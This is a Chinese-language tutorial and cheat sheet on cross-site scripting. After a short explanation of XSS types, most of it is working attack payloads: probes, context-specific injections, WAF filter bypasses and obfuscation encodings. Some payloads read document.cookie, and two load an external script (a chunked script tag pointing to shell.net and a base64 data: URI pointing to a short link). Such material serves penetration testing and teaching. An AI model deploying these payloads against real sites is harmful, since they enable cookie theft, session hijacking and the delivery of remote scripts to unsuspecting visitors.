一、什么是XSS漏洞
XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。
跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
二、XSS分类
反射型(非持久型)
存储型(持久型)
DOM型
不常见的XSS:
mXSS 突变型XSS
UXSS 通用型XSS
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
存储型
存储型XSS也叫持久型XSS,存储的意思就是Payload是有经过存储的,当一个页面存在存储型XSS的时候,XSS注入成功后,那么每次访问该页面都将触发XSS。
反射型
反射型XSS也叫非持久型XSS,最常见的是Payload是构造在网址的某个GET参数的值里。
DOM 型
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
三、XSS工具
四、XSS漏洞检测
检测过滤情况
用于有字符限制的短探测器
'';!--"<XSS>=&{()}
完全版探测器
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
观察输出位置
1.标签之间
模型: <div>[xss]</div> payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)>
这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio>
自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
<textarea></textarea> <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> <xmp></xmp> <plaintext></plaintext> 其他:<math></math>也不行
2.js标签之间
在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。
(1)不在字符串内
判断<>/是否被过滤。如果没有,那么直接插入就可以。
<script>
[output]
</script>
payload:</script><script>alert(1)</script>
(2)在字符串中
此时需要闭合字符串,并保证插入的JS代码符合语法规范。
<script>
Var x="Input";
</script>
input是输出点,我们首先要闭合双引号,才能保证XSS成功。如果我们无法闭合包括字符串的引号(引号被转义),就很难利用,除非存在两个输出点或宽字节。(详见参考资料)
3.输出在HTML属性内
(1)文本属性中
例如:<input value="输出"> 、 <img onload="...[输出]..."> ,再比如 <body style="...[输出]...">
无引号包裹,直接添加新的事件属性。
有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。
HTML的属性,如果被进行HTML实体编码(形如''),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。当然,也可以闭合属性后,然后再执行脚本。
(2)src/href/action/xlink:href/autofocus/content/data 等属性
直接使用伪协议绕过。
javascript 伪协议: <a href=javascript:alert(2)>test</a>
data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
不使用 href 的另外一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者:
<math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)
(3)on*事件中
插入合乎逻辑的JS代码即可。也可以使用伪协议。
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
绕过waf
单次过滤规则绕过:<scr<script>ipt>
大小写绕过:<sCript>
alert绕过:可以尝试prompt和confirm
没有斜杠:<IMG SRC=javascript:alert('XSS')>
空格被过滤:<img/src=""onerror=alert(2)>
<svg/onload=alert(2)></svg>
长度限制时:
(1)<q/oncut=alert(1)>
(2)
<script>z=’document.’</script> <script>z=z+’write(“‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script> <script>z=z+’.net/1.’</script> <script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script> <script>eval_r(z)</script>
单引号及双引号被过滤情况:<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
javascript伪协议:
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
括号被过滤,可以使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
当=();:被过滤时:
<svg><script>alert(/1/)</script>
opera 中可以不闭合 <svg><script>alert( 1)
// Opera可查
过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>
时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点
<scri<!-- 第二处-->pt>;
无法使用href:
<a onmouseover="alert(document.cookie)">xxs link</a>
在chrome下,其回补全缺失的引号。因此,也可以这样写:
<a onmouseover=alert(document.cookie)>xxs link</a>
编码
JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=
这些地方,可以配合编码。此外,data属性可以base64编码。
1.js16进制
<script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓
Alert(“xss”)
2.js unicode
<script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
3.String.fromCharCode函数(不需要任何引号,必须函数内)
<script>eval(String.fromCharCode编码内容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
4.jsfuck版本
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
5.HTML编码
<img src='1' onerror='alert(1)'>
6.base64编码(仅data支持)
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式:
Data:<mime type>,<encoded data>
Data //协议
<mime type> //数据类型
charset=<charset> //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
特点:不支持IE
网友评论